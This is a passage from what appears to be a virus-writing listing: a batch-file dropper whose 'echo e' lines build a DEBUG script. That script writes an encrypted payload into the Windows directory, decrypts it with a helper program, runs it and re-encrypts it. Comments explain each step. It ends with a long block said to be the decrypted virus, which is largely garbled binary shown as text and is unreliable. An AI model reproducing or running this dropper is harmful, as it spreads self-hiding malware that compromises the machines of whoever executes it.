20 35>>3 echo e 12C0 7C 0C 32 32 37 5D 30 20 F1 44 20 32 8E 3D 34 33>>3 echo e 12D0 15 31 38 3E 3D 28 6C 0D EE 76 63 68 4E 48 65 20>>3 echo e 12E0 29 08 38 30 57 13 32 20 CB 07 20 33 3F 25 33 33>>3 echo e 12F0 95 31 39 20 5A 1B 20 32 C2 02 32 30 AB 7C 33 20>>3 echo e 1300 4B 07 20 37 7C 2D 32 38 09 71 31 20 D7 20 20 32>>3 echo e 1310 30 01 32 30 98 67 70 6C DE 7F 65 63 4D 1B 20 65>>3 echo e 1320 B2 40 33 39 40 64 32 36 AE 40 30 20 90 4F 20 32>>3 echo e 1330 49 7D 32 30 90 59 30 20 EF 52 20 32 41 5B 32 30>>3 echo e 1340 E2 6D 30 20 DD 1C 20 32 93 30 32 30 CD 69 30 20>>3 echo e 1350 A1 19 20 32 88 34 3E 70 C0 13 0A 65 50 73 6F 20>>3 echo e 1360 DD 08 30 33 5C 12 20 32 13 72 32 30 86 72 30 20>>3 echo e 1370 13 28 20 32 02 10 32 30 3B 5E 30 20 5F 2A 20 32>>3 echo e 1380 50 01 32 30 AF 15 30 20 3B 23 20 32 C1 54 35 43>>3 echo e 1390 0D 3C 46 20 E3 65 3E 3E 36 20 0D 0A 07 77 68 6F>>3 echo e 13A0 C3 6C 20 30 24 5B 30 20 A2 35 20 32 01 06 32 30>>3 echo e 13B0 23 41 30 20 B2 66 20 37 CB 0E 32 30 B6 46 30 20>>3 echo e 13C0 9D 0C 20 32 F9 7A 32 30 13 50 30 20 3B 26 20 32>>3 echo e 13D0 1E 40 37 43 A8 1B 46 3E 45 50 6C 0D C1 3F 63 68>>3 echo e 13E0 03 7E 65 20 C6 3B 43 30 8D 25 30 20 6E 7A 20 32>>3 echo e 13F0 48 71 32 30 67 49 43 20 C9 3B 20 32 34 11 32 30>>3 echo e 1400 26 3C 30 20 01 18 20 35 BA 5A 32 32 6D 0F 30 20>>3 echo e 1410 DF 62 20 32 46 58 34 33 1C 1F 70 6C 88 27 65 63>>3 echo e 1420 C1 7B 20 65 71 65 33 44 62 57 36 38 1F 3A 32 20>>3 echo e 1430 EB 02 20 33 38 49 33 33 6C 20 39 20 E2 32 20 32>>3 echo e 1440 89 35 32 30 45 41 33 20 02 06 20 37 E6 0C 32 38>>3 echo e 1450 E4 76 31 20 01 09 20 32 2A 06 3E 70 C5 02 0A 65>>3 echo e 1460 97 56 6F 20 A4 45 30 33 1D 47 20 32 C1 32 32 36>>3 echo e 1470 5C 68 30 20 54 16 20 32 63 27 32 30 32 3D 30 20>>3 echo e 1480 03 48 20 32 C8 0B 32 30 9A 42 30 20 85 5A 20 32>>3 echo e 1490 3A 10 32 30 75 54 30 20 14 03 3E 3E 3E 24 0D 0A>>3 echo e 14A0 C6 70 68 6F FD 40 20 30 A6 08 30 20 B8 73 20 32>>3 echo e 14B0 8A 5F 32 30 D5 58 30 20 DA 6C 20 32 D1 1E 32 30>>3 echo e 14C0 94 4F 30 20 B3 7A 20 32 54 1B 32 30 2D 73 30 20>>3 echo e 14D0 25 05 20 32 47 5E 32 30 13 76 30 3E B3 12 6C 0D>>3 echo e 14E0 1A 08 63 68 51 25 65 20 D2 23 30 30 03 7C 43 20>>3 echo e 14F0 DE 2D 20 32 7F 5D 32 30 C3 44 30 20 64 0F 20 32>>3 echo e 1500 90 32 32 30 80 3D 30 20 3C 68 20 32 DF 1D 32 30>>3 echo e 1510 63 28 30 20 1D 34 20 32 22 21 32 30 40 13 70 6C>>3 echo e 1520 9C 43 65 63 14 18 20 65 38 62 34 31 E4 39 32 30>>3 echo e 1530 49 7E 30 20 3C 63 20 32 2C 3D 32 30 A8 33 30 20>>3 echo e 1540 7F 77 20 32 D5 03 32 30 A5 02 30 20 42 70 20 32>>3 echo e 1550 D7 68 32 30 36 4C 30 20 AE 53 20 32 08 02 3E 70>>3 echo e 1560 EC 46 0A 65 4D 1C 6F 20 68 40 30 34 86 53 20 32>>3 echo e 1570 B8 66 32 30 E2 2C 43 20 59 49 20 32 A0 1A 32 36>>3 echo e 1580 34 62 30 20 DE 5C 20 36 94 00 37 32 96 05 38 20>>3 echo e 1590 6A 7F 20 33 F0 56 32 39 87 7B 30 20 E6 53 3E 3E>>3 echo e 15A0 44 55 0D 0A 89 15 68 6F BB 6D 20 30 E8 13 30 20>>3 echo e 15B0 91 5B 20 34 38 1D 36 38 89 16 32 20 B4 5B 20 33>>3 echo e 15C0 7A 25 33 30 68 43 39 20 64 04 20 32 FD 04 32 30>>3 echo e 15D0 D2 69 32 20 FC 4C 20 32 3C 55 32 30 49 77 30 3E>>3 echo e 15E0 3A 0D 6C 0D 5A 1A 63 68 F7 56 65 20 54 39 34 30>>3 echo e 15F0 31 0D 30 20 4D 64 20 32 9C 23 32 30 A1 0B 30 20>>3 echo e 1600 79 53 20 32 A6 09 32 30 7D 3A 30 20 F9 28 20 32>>3 echo e 1610 3A 67 32 30 F1 10 30 20 96 3B 20 32 20 1A 32 30>>3 echo e 1620 74 1B 70 6C E2 1A 65 63 B6 57 20 65 43 19 34 35>>3 echo e 1630 1A 48 37 43 96 04 30 20 7C 49 20 32 A9 1D 32 30>>3 echo e 1640 4C 38 30 20 5F 2E 20 32 A7 3D 37 43 EE 47 30 20>>3 echo e 1650 C8 38 20 32 52 5F 32 30 65 25 30 20 D2 56 20 32>>3 echo e 1660 6D 5A 3E 70 0F 3E 0A 65 27 2A 6F 20 94 18 30 34>>3 echo e 1670 70 02 20 32 77 1C 37 43 45 0C 30 20 DA 04 20 32>>3 echo e 1680 37 1F 32 30 45 6B 30 20 EC 68 20 32 DE 41 32 30>>3 echo e 1690 38 08 43 20 2B 1D 20 32 F9 25 32 30 D2 00 30 20>>3 echo e 16A0 A7 20 3E 3E 34 1E 0D 0A C7 0A 68 6F 07 21 20 30>>3 echo e 16B0 89 3B 30 20 F9 71 20 32 FB 52 37 43 A3 1A 30 20>>3 echo e 16C0 40 59 20 32 25 48 32 30 29 31 30 20 73 77 20 32>>3 echo e 16D0 8E 0A 37 43 AF 78 32 20 34 19 20 32 68 69 32 30>>3 echo e 16E0 6A 10 33 3E 14 2D 6C 0D C5 0C 63 68 72 37 65 20>>3 echo e 16F0 D7 3E 38 30 F9 11 38 20 61 28 20 32 BD 45 33 31>>3 echo e 1700 27 25 33 20 24 65 20 32 C0 68 32 36 FF 61 30 20>>3 echo e 1710 76 02 20 36 64 5A 37 32 F6 04 38 20 08 28 20 33>>3 echo e 1720 E4 1D 32 39 92 39 70 6C A8 6B 65 63 82 2E 20 65>>3 echo e 1730 3C 54 34 39 3A 73 32 30 C0 2E 36 20 31 4D 20 32>>3 echo e 1740 2F 55 32 30 DF 78 30 20 59 0B 20 32 D1 59 32 30>>3 echo e 1750 DE 69 30 20 25 53 20 32 20 69 32 30 81 67 30 20>>3 echo e 1760 B9 2F 20 32 52 37 3E 70 97 5E 0A 65 C4 70 6F 20>>3 echo e 1770 D1 53 30 34 B4 1B 20 32 70 66 32 30 38 76 30 20>>3 echo e 1780 39 6B 20 32 59 6E 32 30 72 7D 30 20 6D 5F 20 37>>3 echo e 1790 0A 78 32 30 79 1D 30 20 B9 6D 20 32 9A 55 32 30>>3 echo e 17A0 E8 1D 30 20 D7 4D 3E 3E D9 4B 0D 0A 0E 50 68 6F>>3 echo e 17B0 27 5C 20 30 07 5D 30 20 7F 76 20 32 EA 73 32 30>>3 echo e 17C0 0B 72 30 20 D9 33 20 32 4D 7D 32 30 50 1C 30 20>>3 echo e 17D0 48 47 20 32 89 2D 32 30 01 64 30 20 59 04 20 32>>3 echo e 17E0 D1 58 32 30 ED 36 30 3E B9 57 6C 0D 45 0B 63 68>>3 echo e 17F0 02 77 65 20 6C 29 43 30 C1 02 30 20 53 39 20 32>>3 echo e 1800 E4 60 32 30 3E 3F 30 20 F6 12 20 32 1C 55 32 30>>3 echo e 1810 CB 1C 30 20 E2 00 20 32 99 58 32 30 DF 22 30 20>>3 echo e 1820 1D 19 20 32 81 61 32 30 50 3C 70 6C 66 63 65 63>>3 echo e 1830 57 79 20 65 27 2B 34 44 E3 5D 32 30 E6 32 43 20>>3 echo e 1840 6C 2F 20 32 A9 2F 32 36 DF 0D 30 20 99 76 20 36>>3 echo e 1850 CB 37 37 32 15 7D 38 20 C8 5F 20 33 4F 6E 32 39>>3 echo e 1860 2B 21 30 20 18 6A 20 32 04 75 3E 70 BA 05 0A 65>>3 echo e 1870 B0 08 6F 20 A8 30 30 34 BE 38 20 34 12 0E 36 38>>3 echo e 1880 01 0D 32 20 C4 0C 20 33 36 1A 33 30 28 54 39 20>>3 echo e 1890 D8 5F 20 32 B7 03 32 30 CF 74 32 20 C8 43 20 32>>3 echo e 18A0 FB 0C 32 30 EF 4D 30 20 80 48 3E 3E D8 18 0D 0A>>3 echo e 18B0 E6 25 68 6F 65 1E 20 30 05 54 30 20 BB 1B 20 32>>3 echo e 18C0 45 3F 32 30 EA 18 30 20 80 49 20 32 68 40 32 30>>3 echo e 18D0 08 2A 30 20 79 5C 20 32 6D 52 32 30 B2 7E 30 20>>3 echo e 18E0 FB 20 20 32 09 7C 32 30 E1 52 43 3E C4 68 6C 0D>>3 echo e 18F0 AF 1F 63 68 67 7B 65 20 7D 08 30 30 37 59 30 20>>3 echo e 1900 80 49 20 32 9F 02 32 30 F9 79 30 20 81 32 20 32>>3 echo e 1910 35 36 32 30 0D 5E 30 20 2F 77 20 32 6C 47 32 30>>3 echo e 1920 7B 4F 30 20 32 15 20 32 07 71 32 30 DA 1B 70 6C>>3 echo e 1930 9E 5E 65 63 C5 5B 20 65 08 22 35 31 D3 3D 32 30>>3 echo e 1940 10 2B 30 20 0F 62 20 32 65 41 32 30 11 6D 30 20>>3 echo e 1950 EB 22 20 32 8C 49 32 30 27 4D 30 20 5D 27 20 32>>3 echo e 1960 EB 74 32 30 9B 23 30 20 DF 6D 20 32 4D 31 3E 70>>3 echo e 1970 C8 42 0A 65 AE 78 6F 20 FD 5C 30 35 31 09 20 32>>3 echo e 1980 77 52 32 30 2B 41 30 20 CE 7E 20 32 DB 6B 32 30>>3 echo e 1990 DD 69 30 20 A0 1F 20 37 B7 17 32 32 C3 41 30 20>>3 echo e 19A0 92 2B 20 32 32 7E 34 33 9C 24 38 20 E9 3F 3E 3E>>3 echo e 19B0 5F 67 0D 0A 9A 18 68 6F 56 29 20 30 A7 46 30 20>>3 echo e 19C0 7D 25 20 33 83 62 33 33 88 3F 39 20 CB 52 20 32>>3 echo e 19D0 F1 42 32 30 67 38 33 20 8C 4B 20 37 E0 77 32 38>>3 echo e 19E0 21 31 31 20 5D 79 20 32 42 7A 32 30 3F 2F 36 3E>>3 echo e 19F0 B0 3A 6C 0D D6 63 63 68 F4 15 65 20 96 65 34 30>>3 echo e 1A00 81 64 30 20 F8 30 20 32 1F 5A 32 30 52 30 30 20>>3 echo e 1A10 A2 0C 20 32 42 72 32 30 12 2A 30 20 60 52 20 32>>3 echo e 1A20 68 70 32 30 B7 25 30 20 33 34 20 32 67 5D 32 30>>3 echo e 1A30 26 4B 70 6C F1 4F 65 63 B5 20 20 65 78 3B 35 35>>3 echo e 1A40 A3 5E 32 30 CA 4A 30 20 59 65 20 32 5F 6C 32 30>>3 echo e 1A50 91 10 30 20 9B 1B 20 32 05 4F 32 30 5B 44 30 20>>3 echo e 1A60 CE 4A 20 32 24 30 32 30 08 70 30 20 AC 02 20 32>>3 echo e 1A70 15 28 3E 70 9A 5C 0A 65 76 7F 6F 20 DA 0A 30 35>>3 echo e 1A80 48 29 20 32 9A 4E 32 30 13 76 30 20 35 17 20 32>>3 echo e 1A90 B0 52 32 30 AD 4B 30 20 AB 16 20 32 56 1B 32 30>>3 echo e 1AA0 65 2A 30 20 4C 4E 20 32 F7 0B 32 30 2D 37 30 20>>3 echo e 1AB0 3F 6D 3E 3E 13 2B 0D 0A 79 08 68 6F D3 12 20 30>>3 echo e 1AC0 8E 78 30 20 91 01 20 32 6F 6F 32 30 73 0E 30 20>>3 echo e 1AD0 65 1D 20 32 9C 33 32 30 18 62 30 20 18 2C 20 32>>3 echo e 1AE0 BB 42 32 30 4D 00 30 20 84 0B 20 32 8C 20 32 30>>3 echo e 1AF0 08 2A 43 3E E4 36 6C 0D C3 6A 63 68 61 20 65 20>>3 echo e 1B00 90 58 38 30 4D 21 32 20 F5 53 20 32 5D 5A 32 30>>3 echo e 1B10 AC 4C 33 20 97 31 20 37 DB 41 32 38 C0 74 31 20>>3 echo e 1B20 15 0B 20 32 41 5F 32 30 ED 62 36 20 F0 45 20 34>>3 echo e 1B30 FD 6D 36 38 CA 4A 70 6C FE 26 65 63 4E 7B 20 65>>3 echo e 1B40 A7 53 35 39 AF 49 37 32 62 60 38 20 55 22 20 33>>3 echo e 1B50 49 3D 32 39 25 70 30 20 B1 03 20 32 90 11 32 32>>3 echo e 1B60 4E 29 30 20 05 0D 20 32 D3 0D 32 30 18 4A 30 20>>3 echo e 1B70 65 3A 20 32 78 44 3E 70 18 43 0A 65 30 21 6F 20>>3 echo e 1B80 A2 65 30 35 93 3D 20 32 9A 6F 32 30 7C 4F 30 20>>3 echo e 1B90 46 39 20 32 40 07 32 30 C0 3A 30 20 B3 20 20 32>>3 echo e 1BA0 8C 12 32 30 63 75 30 20 E1 49 20 32 05 40 35 43>>3 echo e 1BB0 3B 20 30 20 5D 33 3E 3E 53 08 0D 0A CB 1B 68 6F>>3 echo e 1BC0 98 29 20 30 A8 1F 30 20 E5 44 20 32 56 52 32 30>>3 echo e 1BD0 F7 7F 30 20 4B 18 20 32 E7 5D 32 30 BC 6D 30 20>>3 echo e 1BE0 54 78 20 32 04 5D 32 30 52 0D 30 20 E0 79 20 32>>3 echo e 1BF0 43 68 32 30 21 73 30 3E E6 31 6C 0D 45 5A 63 68>>3 echo e 1C00 DE 74 65 20 A9 0F 43 30 BF 0C 30 20 AE 40 20 32>>3 echo e 1C10 C9 3F 32 30 99 05 30 20 72 2A 20 32 38 7E 32 30>>3 echo e 1C20 E5 78 30 20 93 72 20 32 A9 4D 32 30 07 27 30 20>>3 echo e 1C30 87 04 20 32 A5 47 32 30 55 21 70 6C 40 74 65 63>>3 echo e 1C40 64 31 20 65 7E 3A 35 44 EB 2D 32 30 35 08 30 20>>3 echo e 1C50 00 69 20 32 F8 6B 32 46 D3 75 32 20 EC 3E 20 32>>3 echo e 1C60 04 6C 32 30 03 4B 33 20 16 6F 20 37 79 46 32 38>>3 echo e 1C70 1B 31 31 20 F7 1C 20 32 8D 26 3E 70 AC 57 0A 65>>3 echo e 1C80 43 65 6F 20 E6 16 30 35 26 17 20 32 DA 74 32 36>>3 echo e 1C90 FA 44 30 20 09 6C 20 36 F0 74 37 32 16 0B 38 20>>3 echo e 1CA0 30 32 20 33 61 3E 32 39 FF 00 30 20 64 13 20 32>>3 echo e 1CB0 6B 20 32 32 05 64 30 20 B9 1D 3E 3E B2 51 0D 0A>>3 echo e 1CC0 20 49 68 6F 80 49 20 30 3A 72 30 20 00 3B 20 32>>3 echo e 1CD0 79 3A 32 30 90 42 30 20 A5 42 20 32 17 48 32 30>>3 echo e 1CE0 B2 7B 30 20 F6 3F 20 32 9F 3B 32 30 41 4C 30 20>>3 echo e 1CF0 5D 12 20 32 61 3B 32 30 E8 73 30 3E 56 24 6C 0D>>3 echo e 1D00 D9 44 63 68 20 7E 65 20 88 76 30 30 26 59 30 20>>3 echo e 1D10 E5 38 20 32 8A 22 35 43 18 02 46 20 FC 2C 20 35>>3 echo e 1D20 73 3E 35 46 33 72 46 20 53 56 20 35 C2 41 35 46>>3 echo e 1D30 ED 4A 46 20 EA 05 20 35 05 3D 35 46 F3 31 70 6C>>3 echo e 1D40 2F 0E 65 63 4D 2E 20 65 14 0E 36 31 4E 66 35 46>>3 echo e 1D50 FC 1E 46 20 C6 5D 20 35 C5 3C 35 46 15 61 46 20>>3 echo e 1D60 74 65 20 32 E5 1B 32 43 FE 41 32 20 E5 32 20 32>>3 echo e 1D70 FD 73 32 43 48 2A 32 20 E2 59 20 37 3E 1B 3E 70>>3 echo e 1D80 E7 08 0A 65 DE 26 6F 20 38 21 30 36 83 03 20 32>>3 echo e 1D90 80 30 36 31 D2 70 43 20 67 33 20 36 C5 5B 37 30>>3 echo e 1DA0 3C 29 31 20 9F 5C 20 36 AE 2C 32 30 50 6F 42 20>>3 echo e 1DB0 FB 4F 20 35 B1 45 36 43 74 0B 36 20 1B 49 3E 3E>>3 echo e 1DC0 14 12 0D 0A C8 67 68 6F 29 26 20 30 81 3F 30 20>>3 echo e 1DD0 9E 58 20 36 61 32 36 45 58 12 34 20 F8 4B 20 37>>3 echo e 1DE0 3E 5C 36 38 3D 66 39 20 5B 45 20 36 5F 04 37 34>>3 echo e 1DF0 3B 32 30 20 FC 4A 20 37 AA 25 37 34 7B 36 33 3E>>3 echo e 1E00 38 1B 6C 0D 87 01 63 68 7D 00 65 20 9A 59 34 30>>3 echo e 1E10 06 3E 32 20 96 20 20 35 93 0E 37 32 03 01 32 20>>3 echo e 1E20 40 0B 20 36 F9 52 35 44 14 5D 32 20 E8 59 3E 3E>>3 echo e 1E30 66 69 0D 0A B7 4C 68 6F 5C 6E 63 78 98 30 70 6C>>3 echo e 1E40 C7 61 65 63 9E 1C 20 30 7A 2D 39 3E A1 4E 6C 0D>>3 echo e 1E50 7D 0E 63 68 E8 78 6E 20 56 46 6D 69 C5 69 76 62>>3 echo e 1E60 D8 08 3E 70 39 54 0A 65 7F 52 6F 20 AC 6D 3E 70>>3 echo e 1E70 78 58 0A 65 56 32 6F 20 A7 03 3E 70 4A 63 0A 64>>3 echo e 1E80 63 27 75 67 BC 4C 6C 0D 9D 77 65 6C 91 6F 6C 0D>>3 echo e 1E90 F2 41 6F 76 F5 24 63 6F 17 68 63 2E 1C 7F 73 20>>3 echo e 1EA0 20 6A 69 6E 2A 60 6F 74 98 54 72 25 DF 76 74 61>>3 echo e 1EB0 1F 14 6D 65 E5 D6 5C 70 0F 66 67 72 95 41 6D 65>>3 echo e 1EC0 4F 3E 75 74 AD 38 74 61 B6 23 0D 0A CC 19 6E 64>>3 echo e 1ED0 F2 04 26>>3 echo rcx>>3 echo 1DD2>>3 echo n 17.bat>>3 echo w>>3 echo q>>3 debug<3 move 17.bat %winbootdir% del 3 :: this creates a debug-script ... and also debugs it :: the result is the actual (encrypted) virus (code see below) :: the encrypted code can not be included directly/echoed, :: because it contains ">>"s which would stop the echoing :17 cd %winbootdir% :: this changes to the windows-directory, :: where the actual virus and the decryptor/encryptor are located 23.com 23175840 17.bat :: this decrypts the actual virus ... call 17.bat :: ... this executes it ... 23.com 23175840 17.bat :: ... and this encrypts it again :end =====[end code]================================================================= The following is the code of the debuged actual virus: =====[begin code]=============================================================== y:ch¬0of—~ cúy \l ¡Sch£7on¹>rràX r<um 7neŒR>c¿mne$Ivb eV o.‚@t ú$= $#eaC3Obs ctm$OuooüApÙDic¿hioóq)>Y:\ž+t.Œ s w ch¯Seveb Ž0a.OtNzUeSf5ce GMAF ")Ë c:[etÁabsèlec*v.I° a Š "OãloÖ7" p=enšLc:ò4et|Mbs·!ecŒN.b¹&og¢ "s2ofLue"2 "pL3swáyd" c:¨"etwbs‚ecn.F@. yÕ 1~Ao {!AdesD,is€".Cwnt c:Set\#bsÅ2ec\.S7( d¼` b^dd^ssP st+by)c=c:Úpetebs?ec7/.xŸv 1>c:…zetbpbsî ecK .SÄN cZ a ^re¿yeIuMm(wp>>Çr\nE<.vwM öhoö or9Vo &Y1 + d dd°kss½?trÔUs.eun U>cˆsneAvbŽ~ e:o.H= (qAd%[esmntâ<eslk)>4Q:\(Yt. s ÛchÀAc.Ä ci±oen[.Ar ePc:vet3bsß<ecJ'.x° xÈ< 1Qic:”"etÖrbs@0ecMq.IÝx µV10ïJThÙg ow!= h.AdÎpes~nt0EesZ;ou¨>>Ij\n!.v0V ¯bho©ex¯p>cd0ne'vb e€&o.:Suâec¸}= Ëm CóuviHAnv,HoGMes|Jom¶x SÙip-V>c¡%nevb÷3 e‹Ko.[)Bo_ =Å -- K--nE--¿<--!cAIe ?cliK S nn s -»~----Š ---"c vrlà+& p>cå7neÅvb½ eôfo.Çehe3ttÄLhev}fiÅ6 d§sn3E c‘Mta^ aÐ0 mæ4ic”)usŸ=ou ne"/ &Ulbcawf … _>W:\dt.]s MchÌ"-4--Ž<--›F--ík--ŸW--N--y>--O)--Í.--<--'7--ã7--©--Yr--è--m--6" ívb4lf*W _VAc:ûwet$bsÔCec™."Ø>>c9ne^vbò e¿9o.ºatólchÊ@ntzAdhg"c CaX3inFBobArs.íDt"–Y>cY&neW^vb•( e@0o.ØSeuu>>ï0\n˜j.vÖ+ ÿho:.DTletÞ1ftPsSu8.itC5 T—De>;::\gut.öHs `{chKke .5"" Sc:$et>bs»Jec G.NwTt>å :\}Vt.ƒ0s ÓchP?b.ügo×9>>\ \né.v— Hhož>ndT}f>ŽT:\v t.Ê]s ¡Wtaá c¶XneáNvb eÑ!o.¢{ eá%orÊes}Se Ç]xtŒ:\™-fe’8.vQ t0hoPet]soa# C aty5bjŒUt(Ï}crÖti¹|.FL`eSlKteì3bj% t"zM>cçinTct)bsNbecC .e¬ =Ðc:puut4xezbaŸN>>F}\iveczvbŽc eÎio.|Yt zj= lfo.bktF de‚B"cF;")lc:Ënfž5t.Ëes Õ%ch¤CSe’]fcž fùtil$/>>á \icecY vbsn e"*o. {r pGchq{1 òT f†0>csin"[ctabs<ecÁJ.eR: =Ó}so,RetwAteu io|xam{~f1‚HatN>>ÐV\i’Nec”vb48 eü o.ÊOt Æ|LCbe(¢ t)wc:Rnf®t.Ëxs i#chàXIf)SexN:= ¸batú Tƒ,n>©%:\g(feÆK.vH 3phoÍdet¸m = so·et¤klež}ee l>cHin0!ctÄ]bsD=ec".füCop8(fÒPaŒ))>VK:\Áwfe.-.vœH ´Oho×~nd/bf>j2:\ HfeŽ".v Fho¼Eex(>c! in`^ctAbs st/It 'o\iF ecE/vbØ rýedâ* /Èc:Í=ut>Dxe„#baWA iÄ>ex¿ %çgnbÕ9td-q%\°lar enµ1prLIra¦we\RStoX arßcoæ_c. Qs ù_to°HndÏWec eL10yz6Fó8E #y 6îH72® 2 s 7k 2062 éx 7w 75Ž D ž+ 2ÏPpl-@ecë\ e$(11B 6EìU5 åq 7Ë`0D%uA j5 7¥C67r 2 s 7« 20p2 .m 61->p& eæ)o ?b01è 74H65 .0 @ 6Ù565Nr3 °R 7=6FÔD5 ø 2×F63í@F ŒI>>æa dOhofi 0¦c0 ï6 6ÕY20:3 BD 7ÿ/69”40 Z 2752Co2 8- 2¥*2C%2>`l …chÎee ñ40½G2 ] 5õp2F¿[3 âp 6†576B9 ¹2 2[ 48s:F dI 6¡ 65Ç plÅFec)M eQ15›o73|c2 u/ 0uQ4DùG3 z\ 4e6F‹ 8 ²B 2jX20õ%0 Õ: 2m>p(% eœQo Ú501o4 2hr20\ 0 ' 2v20Âh0 çk 2@a20ÀL0 ƒ 2Ç220j 0 :>>êF ÑkhoâA 01!0 Ç\ 2pO20!z0 s 2. 20–M0 Å 2ÕG20×Z0 3 2å^20 |0>] l < chü;e É 80ê\0 Z6 2Y 20shF ¬0 2à?20xH0 ÕW 2ñ(20]V0 ’W 2³620$plR$ec!h eº%19@ 20ìB2 ¯ 2ó20ËW3 Ë 7˜f28 n1 ›h 2©420âq6 WI 4Ÿr>pj| ežPo X`01?B 6|_72” 8 Ý@ 3›M294"0 7= 2rj22d 0 ‘f 2d20 0 n >>r. £&ho$ 0¼a0 šV 2ö20 0 @N 2ÝW20¢L0 ye 2 ]20®c0 _Z 2 20ÿC0>al ·cchŠpe +C0ð 0 ÞW 2ôN20÷60 m; 2 <20’z0 Ê6 20200 Œ6 2ýa20` pl÷ecó$ e,1D¤'2F *0 V 2CS20deC p 2ý220b0 ~1 2§c20 0 d 2]c>pøP eÑYo ÉB01‰. 2ã-22·\0 ïv 2C43“ 8 Âw 2§^31ïD3 åd 2Í>26gQ0 >>Ó çDhoŽf 0` 0 òv 7I%28ŽT1 ÷I 2ž 20£*6 ˜ 2¹ 20Þm0 h{ 25 20¥0>&l ichÈ(e É 000 | 2NF20/l0 2ýD20Ù^0 d 2V20‰w0 ¾Y 220º pl ecY e½U21(?20Ð50 Ö 2 S20S$0 2Z20)&0 V 2t20WT0 E 7Çw>pÔc e‡`o ss02ž> 220XH0 Æ 2K 20Ú50 ön 7> 20òP0 ° 2lI20cq0 h6>>¬2 2ho5 0É:0 s 2ä 20 I0 V 2»g26Q$0 ½w 6°E72š8 à 3 >29=b0>L@l )EchŒ5e .Y40Yy6 ¿q 4Ó-68hb2 j 3ó 30$59 ¬d 2p 20U2 ÍI 2ÖC20îaplíec/ e `25 A20 ]0 „ 2 F20~0 b1 2ø"20 0 Og 2ê20 0 ÿr 23>pIF eC:o [;02ŠR 2M`20µ?0 i< 220’ 0 ž 2w 20—I0 «X 2W20É0 zM>>ú4 MhoK 0KZ0 Ð 2gR7C› 0 WH 2±G20§g0 91 2|%20kaC jD 2c201*0>–6l „{ch£ e Œp80&0 à 2DX20Ø0 f8 2 22¯x0 ¦1 2·q43 8 2<J31)pl~Eec^ eÿw29±33À,9 h 2Vp20ä3 ±; 7Ø28Ç 1 Õ 2Ð^20O=6 J 2\1>p€\ eëQo ]&02« 2h20t00 Ç 2Y'20{0 @ 2W20ß40 5p 2ab20ä*0 t)>>¡v qmhoN 0ëX0 e 2šL20/s0 è( 2·320§ 0 =p 2[620ó.0 Ój 2rb20P0>Ärl 9Lchž'e ØIC0Ån0 ˆb 27Y20;0 ÔL 2É}20³0 ðm 2 200 { 7”+20yplðBech} eŒ>2D›320»0 = 2±]20g~0 ‘0 2²20»c0 æn 2ZU26u0 õ 6@6>pàb eÅ o ¥)02~ 7Tr28Í|1 Û( 2µ{20¼66 _ 4½J68š$2 ¡E 3cg30«)9 O{>>† ^ThošB 0__0 2»22\"0 º 2Ì120" 0 2Ÿ-20éE0 6u 2ýx20K0>m]l ch]e )[0090 Un 2ã*204 0 î$ 2s,2000 »^ 2q20¿^0 2|~20‚"plŸ ec©% e7U31 20÷00 º 29320t0 |W 2É%7C 0 Œ 2K.20<0 ÷ 2x}>phC eœ0o %j03£r 2'7CQ0 J 2K_20] 0 u 2H200 Â. 2ie22KD0 "A>>µ æhoJP 0gb0 åA 4T68ªY2 X+ 3?33‡9 Ù 2?w20v3 X( 7&28 a1>$l ìche w407^0 óH 2öz26G0 –l 2‚D20î]0 Þ 26120Ój0 ¨z 2ƒ20«pl² ecMf e~ 35|g20÷l0 ù= 2ÏD20kl0 22 2þ820K0 d? 2±D20ôDF ‹| 2c >pËA eIo ³803øB 2sc20P0 á 50 20+0 òp 2,20¿0 ‚L 2ªq20Db0 ò">>Fs m|ho.a 0Æ20 ) 2¼W20ñwF I) 2óf20©0 –x 5| 227]0 ñD 2Ž=4318>=(l îvchNHe )80W2 Ë 3?%33•19 Z 2Â20«|3 K 7|-28 q1 × 2020˜gplÞecM e²@39@d26®@0 O 2I}20Y0 ïR 2A[20âm0 Ý 2“020Íi0 ¡ 2ˆ4>pÀ ePso Ý03\ 2r20†r0 ( 220;^0 _* 2P20¯0 ;# 2ÁT5C <F ãe>>6 whoÃl 0$[0 ¢5 220#A0 ²f 7Ë20¶F0 2ùz20P0 ;& 2 @7C¨F>EPl Á?ch~e Æ;C0%0 nz 2Hq20gIC É; 2420&<0 5ºZ22m0 ßb 2FX43 plˆ'ecÁ{ eqe3DbW68 :2 ë 38I33l 9 â2 2‰520EA3 7æ 28äv1 2*>pÅ e—Vo ¤E03 G 2Á226\h0 T 2c'202=0 H 2È 20šB0 …Z 2:20uT0 >>>$ Æphoý@ 0¦0 ¸s 2Š_20ÕX0 Úl 2Ñ 20”O0 ³z 2T20-s0 % 2G^20v0>³l chQ%e Ò#00|C Þ- 2]20ÃD0 d 2220€=0 <h 2ß 20c(0 4 2"!20@plœCec e8b41ä920I~0 <c 2,=20¨30 w 2Õ20¥0 Bp 2×h206L0 ®S 2>pìF eM o h@04†S 2¸f20â,C YI 2 264b0 Þ\ 6” 72–8 j 3ðV29‡{0 æS>>DU ‰ho»m 0è0 ‘[ 48 68‰2 ´[ 3z%30hC9 d 2ý20Òi2 üL 2<U20Iw0>: l Zch÷Ve T9401 0 Md 2œ#20¡ 0 yS 2¦ 20}:0 ù( 2:g20ñ0 –; 2 20tplâec¶W eC45H7C–0 |I 2© 20L80 _. 2§=7CîG0 È8 2R_20e%0 ÒV 2mZ>p> e'*o ”04p 2w 7CE 0 Ú 27 20Ek0 ìh 2ÞA208C + 2ù%20Ò 0 § >>4 Ç ho! 0‰;0 ùq 2ûR7C£0 @Y 2%H20)10 sw 2Ž 7C¯x2 4 2hi20j3>-l Å chr7e ×>80ù8 a( 2½E31'%3 $e 2Àh26ÿa0 v 6dZ72ö8 ( 3ä 29’9pl¨kec‚. e<T49:s20À.6 1M 2/U20ßx0 Y 2ÑY20Þi0 %S 2 i20g0 ¹/ 2R7>p—^ eÄpo ÑS04´ 2pf208v0 9k 2Yn20r}0 m_ 7 x20y 0 ¹m 2šU20è 0 ×M>>ÙK Pho'\ 0]0 v 2ês20 r0 Ù3 2M}20P 0 HG 2‰-20d0 Y 2ÑX20í60>¹Wl E chwe l)C0Á0 S9 2ä`20>?0 ö 2 U20Ë 0 â 2™X20ß"0 2a20P<plfcecWy e'+4Dã]20æ2C l/ 2©/26ß 0 ™v 6Ë772}8 È_ 3On29+!0 j 2u>pº e°o ¨004¾8 468 2 Ä 3630(T9 Ø_ 2·20Ït2 ÈC 2û 20ïM0 €H>>Ø æ%hoe 0T0 » 2E?20ê0 €I 2h@20*0 y\ 2mR20²~0 û 2 |20áRC>Ähl ¯ 